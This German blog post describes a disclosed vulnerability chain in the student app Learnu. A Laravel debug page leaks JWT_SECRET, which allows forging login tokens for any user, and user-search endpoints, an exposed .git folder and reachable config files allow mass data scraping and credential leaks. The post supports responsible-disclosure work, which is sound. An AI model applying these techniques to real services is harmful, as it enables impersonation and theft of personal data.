&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/learnu/bin%C3%A4rcode.png&#34; alt=&#34;Screenshot des Binärcode, mit einem Texteditor geöffnet &amp;amp;ndash; markiert ist der String &amp;amp;ldquo;admin.learnuapp.net/api&amp;amp;rdquo;&#34;&gt;&lt;/p&gt;
&lt;p&gt;Wenn irgendwo &amp;ldquo;Admin&amp;rdquo; steht, klingt das für uns natürlich direkt spannend – und wir öffnen die Webseite im Browser, wo wir direkt auf &lt;a href=&#34;https://admin.learnuapp.net/login&#34;&gt;https://admin.learnuapp.net/login&lt;/a&gt; weitergeleitet werden.
Ein Hoffnungsschimmer, dass wir hier nicht weiterkommen: Die Zugangsdaten unseres Accounts aus der App funktionieren schonmal nicht.&lt;/p&gt;
&lt;h2 id=&#34;learnu-öffne-dich&#34;&gt;Learnu, öffne dich&lt;/h2&gt;
&lt;p&gt;Aber aus Erfahrung wissen wir auch: Wenn es die Unterseite &lt;code&gt;/login&lt;/code&gt; gibt, dann gibt es sehr wahrscheinlich auch die Unterseite &lt;code&gt;/register&lt;/code&gt;. Und zack – wir sind auf dem Registrierungsformular für neue Accounts. Hmmm, vielleicht können wir uns da ja einen Admin-Account anlegen? Ausgefüllt und abgesendet … uuuund fehlgeschlagen. Immerhin. Doch die Fehlerseite ist sehr detailiert:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/learnu/fehlerseite.png&#34; alt=&#34;Screenshot der Fehlerseite, auf der alle Variablen dargestellt werden u.A. das Datenbank-Passwort&#34;&gt;&lt;/p&gt;
&lt;p&gt;Die Fehlermeldung kommt vom PHP-Framework Laravel, mit dem die API programmiert wurde.
Und diese Fehlermeldung zeigt uns alle Konfigurations-Variablen an – also unter anderem die Zugangsdaten zur Datenbank.&lt;/p&gt;
&lt;h2 id=&#34;-achtung-baustelle-&#34;&gt;🚧 Achtung, Baustelle 🚧&lt;/h2&gt;
&lt;p&gt;Doch warum sehen wir all das?
Nun, Learnu hat ihre Website im Debug-Modus gelassen.
Dies ist ein spezieller Modus, der die Entwicklung erleichtert – unter anderem, indem sehr ausführliche Fehlermeldungen angezeigt werden.&lt;/p&gt;
&lt;p&gt;Deshalb sollte der Debug-Modus aber auf keinen Fall im normalen Betrieb aktiviert sein. Sonst kann nämlich genau das passieren: Unbefugte bekommen ausführliche Fehlermeldungen zu sehen.
Die &lt;a href=&#34;https://laravel.com/docs/8.x/configuration#debug-mode&#34;&gt;Laravel-Dokumentation&lt;/a&gt; warnt sogar extra davor:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/learnu/laravel-doku.png&#34; alt=&#34;For local development, you should set the APP_DEBUG environment variable to true. In your production environment, this value should always be false. If the variable is set to true in production, you risk exposing sensitive configuration values to your application&amp;amp;rsquo;s end users.&#34;&gt;&lt;/p&gt;
&lt;p&gt;Doch diese Warnung hat Learnu wohl nicht gesehen oder ignoriert.&lt;/p&gt;
&lt;h2 id=&#34;heading-1&#34;&gt;🎭&lt;/h2&gt;
&lt;p&gt;Die auf der Fehlerseite sichtbaren Datenbank-Zugangsdaten brachten uns zum Glück nicht viel, da die Datenbank nicht öffentlich erreichbar ist.
Allerdings steht in der Fehlermeldung auch das &lt;a href=&#34;https://jwt.io/introduction&#34;&gt;&lt;code&gt;JWT_SECRET&lt;/code&gt;&lt;/a&gt;, also ein geheimer Code, mit dem wir unbeschränkt und beliebig Authentifizierungs-Schlüssel generieren können. Mit diesen Schlüsseln können wir uns als jede*r beliebige Nutzer*in ausgeben – und der Server glaubt uns, weil wir ja einen korrekten Authentifizierungs-Schlüssel haben&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h2 id=&#34;-fahrzeugpapiere-und-api-dokumentation-bitte&#34;&gt;🚨 &amp;ldquo;Fahrzeugpapiere und API-Dokumentation, bitte.&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;Wir können uns jetzt also als jeder beliebige User ausgeben – wir wissen aber noch nicht, wie man mit der Programmierschnittstelle (API) des Servers kommuniziert. Doch nach etwas Raten landen wir auf &amp;ldquo;&lt;a href=&#34;https://admin.learnuapp.net/docs&#34;&gt;https://admin.learnuapp.net/docs&lt;/a&gt;&amp;rdquo;. Dort findet sich eine Dokumentation, wie die API funktioniert. Vermutlich liegt diese dort für die Entwickler*innen, um im Zweifelsfall schnell nachgucken zu können.&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;
Und auch wir freuen uns, so eine API-Dokumentation zu haben. Denn so haben wir schnell einen Überblick, wie diese funktioniert und können anfangen, die API auszuprobieren.&lt;/p&gt;
&lt;p&gt;Unsere erste Anlaufstelle war, wie auch schon bei &lt;a href=&#34;https://zerforschung.org/posts/scoolio/&#34;&gt;Scoolio&lt;/a&gt;, der Profil-Endpunkt unter &lt;code&gt;https://admin.learnuapp.net/api/users/{USER_ID}/profile&lt;/code&gt;.
Leider entdeckten wir hier schon das erste Problem, denn die Antwort sieht in etwa so aus (diese hier haben wir uns natürlich ausgedacht):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;User profile received successfully.&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;91213&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;fullname&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Anna Maier&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Anna&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;anna.maier.1312@gmail.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;created_date&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-01-12 13:12:13&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;modified_date&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-03-11 13:12:13&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;biography&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;🏳️‍🌈&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;city_id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;db21a7bf-60bc-4070-89c6-ba1d12605b01&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;school_id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ebf94c15-bbc1-4d48-9dae-2452516dc277&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;avatar&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;subscribers_count&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;subscriptions_count&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;is_subscribed&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Die Nutzer*innen-Accounts bei Learnu sind aufsteigend durchnummeriert, wie wir es schon von unzähligen anderen Apps kennen.
Aber ist es nicht möglich, beliebig viele Profile auf einmal abzurufen, denn es gibt eine Abruflimitierung von einem Profil pro Sekunde.
Allerdings entdecken wir in der Doku auch noch einen Such-Endpunkt, der zu jeder 3-stelligen Buchstabenkombination alle passenden Profile ausgibt.
Suchen wir zum Beispiel nach &lt;code&gt;ann&lt;/code&gt; (&lt;code&gt;https://admin.learnuapp.net/api/users/search/list?username=ann&lt;/code&gt;), sieht die Antwort in etwa so aus:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Search list of users received successfully.&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;91213&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;fullname&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Anna Maier&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Anna&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;anna.maier.1312@gmail.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;is_premium&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;is_active&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;created_date&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-01-12 13:12:13&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;modified_date&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-03-11 13:12:13&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;content_count&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;forum_count&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;earnings_count&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;biography&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;🏳️‍🌈&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;city_id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;db21a7bf-60bc-4070-89c6-ba1d12605b01&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;school_id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ebf94c15-bbc1-4d48-9dae-2452516dc277&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;avatar&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;23420&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;fullname&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Anna-Marie Müller&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Anna2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;anna.marie.2342@hotmail.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;is_premium&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;is_active&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;created_date&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-01-12 13:12:13&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;modified_date&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-03-11 13:12:13&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;content_count&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;forum_count&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;earnings_count&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;biography&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;homework is for me? 🥺👉👈&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;city_id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;db21a7bf-60bc-4070-89c6-ba1d12605b01&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;school_id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ebf94c15-bbc1-4d48-9dae-2452516dc277&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;avatar&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;…&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Da wir auch eine Suche pro Sekunde durchführen können, bedeutet das: Um die halbe Million Datensätze herunterzuladen, bräuchten wir nicht 500.000 Sekunden (etwa 6 Tage), sondern nur noch etwa 18.000&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt; Sekunden, also 5 Stunden.&lt;/p&gt;
&lt;h2 id=&#34;open-source-wider-willen&#34;&gt;Open Source wider Willen&lt;/h2&gt;
&lt;p&gt;Nun können wir alle Profile abrufen und uns als beliebige andere Personen ausgeben, mehr als genug um es zu melden.
Also geht das übliche Prozedere los: Wir schreiben unseren Report, um ihn dann an das CERT-Bund beim BSI, den Hersteller und die zuständige Landesdatenschutzbehörde zu schicken.&lt;/p&gt;
&lt;p&gt;Doch nachdem die Website bereits schlecht konfiguriert und noch im Entwicklungsmodus ist, haben wir den Verdacht, dass vielleicht noch mehr Dinge falsch konfiguriert sind.&lt;/p&gt;
&lt;p&gt;Wir vermuten also, dass vielleicht die &lt;code&gt;.git/index&lt;/code&gt;-Datei öffentlich abrufbar sein könnte.
Das ist eine interne Datei des Versionskontrollsystems, das für die Entwicklung von Learnu genutzt wurde.
Darin stehen alle Dateien, die die Entwickler*innen mit git verwalten, also (fast) alle Quelltextdateien des Learnu-Servers.
Das ist eine altbekannte Sicherheitslücke und es empfiehlt sich, den &lt;code&gt;.git/&lt;/code&gt;-Ordner nicht öffentlich zugänglich zu machen&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Für uns ist das sehr nützlich: So wissen wir nämlich, welche anderen Code-Dateien es auf dem Webserver gibt, zum Beispiel die Datei &lt;code&gt;https://admin.learnu.net/config/mail.php&lt;/code&gt;.
Die können wir natürlich auch abrufen, denn auch dieser Teil war falsch konfiguriert.&lt;sup id=&#34;fnref:7&#34;&gt;&lt;a href=&#34;#fn:7&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;7&lt;/a&gt;&lt;/sup&gt;
Darin befanden sich Zugangsdaten zu einem Anbieter, über den learnu Mails versendet hat.
Da auch der Code mit Konfigurationsdateien definitiv nicht von außen zugänglich sein sollte, müssen wir also den Report nochmal ergänzen und schicken ihn endgültig ab.&lt;/p&gt;
&lt;h2 id=&#34;fazit&#34;&gt;Fazit&lt;/h2&gt;
&lt;p&gt;Obwohl die Datenbank diesmal also nicht aus dem Internet erreichbar war, kamen wir trotzdem an alle Daten. Deshalb: Konfiguriert eure Webserver ordentlich. Gebt nur Dateien aus, die auch ausgegeben werden sollen, also weder PHP-Files noch den .git Ordner noch die Konfiguration des Webservers selbst. Lasst eure Web-Frameworks nicht im Entwicklungsmodus laufen. Und stellt – verdammt nochmal – nur die personenbezogenen Daten über die Programmierschnittstelle bereit, die die App auch wirklich braucht!&lt;/p&gt;
&lt;h3 id=&#34;pulling-the-plug-&#34;&gt;Pulling the plug 🔌&lt;/h3&gt;
&lt;p&gt;Immerhin:
Nachdem wir wiederholt nachfragten und teilweise im 15-Minuten-Takt anriefen, ist die Plattform mittlerweile offline – und bleibt das nach Aussage der beiden Gründer auch.
Wir beglückwünschen die Gründer von Learnu zu der Erkenntnis, dass es besser ist, die App nicht weiterzubetreiben und zur Entscheidung, die App dauerhaft offline zu lassen.
Damit haben sie ihre Datenschutzprobleme konsequenter und dauerhafter gelöst als &lt;a href=&#34;https://zerforschung.org/posts/scoolio/&#34;&gt;manch andere&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Doch Fakt ist: Die App ist mit den Daten ihrer Nutzer*innen extrem nachlässig umgegangen.
Wenn die Gründer in ihrem Podcast lapidar sagen &amp;ldquo;Who cares – es war eine super Erfahrung&amp;rdquo; – müssen wir antworten:
Wir caren! Und wir finden es unverantwortlich und frech, mit den Daten von Schüler*innen zu spielen, nur um das Ego zu pushen.&lt;/p&gt;
&lt;!-- TODO:

an diese Stelle eventuell das Bild: https://www.heymannbrandt.de/wp-content/uploads/1999/03/We_kehr_1200x8801.jpg

oder das Bild noch nachstellen und &#34;ZER&#34; statt &#34;BSR&#34; drauf schreiben
--&gt;
&lt;p&gt;Die Learnu-Gründer*innen hingegen finden ihr Vorgehen sogar so geil, dass sie ein eigenes &lt;a href=&#34;https://web.archive.org/web/20211104121838/https://www.learnu.de/youngup&#34;&gt;&amp;ldquo;Startup Programm für Schüler*innen&amp;rdquo; namens YoungUp&lt;/a&gt; gestartet haben.
Dort kann man dann &amp;ldquo;in verschiedensten Bereichen Erfahrung sammeln und Verantwortung übernehmen.&amp;rdquo;
Wir hätten uns ja gewünscht, dass die beiden Verantwortung für die Daten ihrer Kund*innen übernommen hätten.&lt;/p&gt;
&lt;p&gt;Dass es so weit gekommen ist, liegt aber nicht nur an den beiden, sondern ist Ergebnis eines kaputten Systems. Das entschuldigt zwar das Verhalten der beiden nicht, aber so werden auch einige größere Probleme sichtbar:&lt;/p&gt;
&lt;h3 id=&#34;liberallala&#34;&gt;Liberallala&lt;/h3&gt;
&lt;p&gt;Das erste Problem ist das gesellschaftliche &lt;strong&gt;Drängen auf einen lückenlosen und möglichst aufpolierten Lebenslauf&lt;/strong&gt;: Abi und Auslandsaufenthalt gelten als erstrebenswert – und am besten noch möglichst früh ein eigenes Startup gründen.&lt;/p&gt;
&lt;p&gt;Nicht falsch verstehen: Mit einer guten Idee (und dem entsprechenden fachlichen Background) kann es super cool sein, etwas zu gründen!
Dabei kann man viel lernen – und sogar einen positiven Beitrag für die Gesellschaft leisten.&lt;/p&gt;
&lt;p&gt;Doch wer sein eigenes &amp;ldquo;Business&amp;rdquo; nur um des &amp;ldquo;Business&amp;rdquo; und des Lebenslaufs willen gründen will, sollte sich das gut überlegen – vor allem, wenn es dabei um die Daten fremder Leute geht.
Denn dann ist das nicht mehr nur eine nette Spielerei, bei der man auch mal Fehler machen darf, um daraus zu lernen – hier geht es um ein echtes Risiko für die betroffenen Nutzer*innen.&lt;/p&gt;
